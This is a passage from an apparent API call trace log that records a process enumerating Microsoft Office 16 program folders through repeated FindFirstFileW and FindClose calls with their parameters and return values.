cAlternateFileName="")) returned 0x1c5bf0d0 [0124.581] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sv\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85c075b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.605] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sv\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85c075b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.606] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\th\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c26650, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.608] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.608] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\th\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c26650, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.608] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.608] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\tr\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0fa6d0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.610] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\tr\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0fa6d0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.610] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\uk\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8677bf90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.612] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.612] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\uk\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8677bf90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.613] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.613] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\vi\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91e9fc30, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.614] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\vi\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91e9fc30, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.615] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-CN\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab793f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.616] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.622] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-CN\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab793f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.623] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-TW\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bf8ed90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.625] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.625] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-TW\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bf8ed90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.626] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.626] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.628] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.629] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.630] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.633] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.633] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.633] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.638] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.640] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.641] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.643] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.643] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.644] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.645] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.645] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.647] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.648] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.649] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.654] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.657] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\LibCurl64.DllA\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.658] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\LibCurl64.DllA\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.659] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.659] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.659] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.660] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d2a100, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.660] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.660] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9e0077b0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9e0077b0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.663] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9e0077b0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9e0077b0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.665] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9dc4f550, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9dc4f550, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.677] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9dc4f550, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9dc4f550, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.680] FindClose (in: hFindFile=0x1c5bf0d0 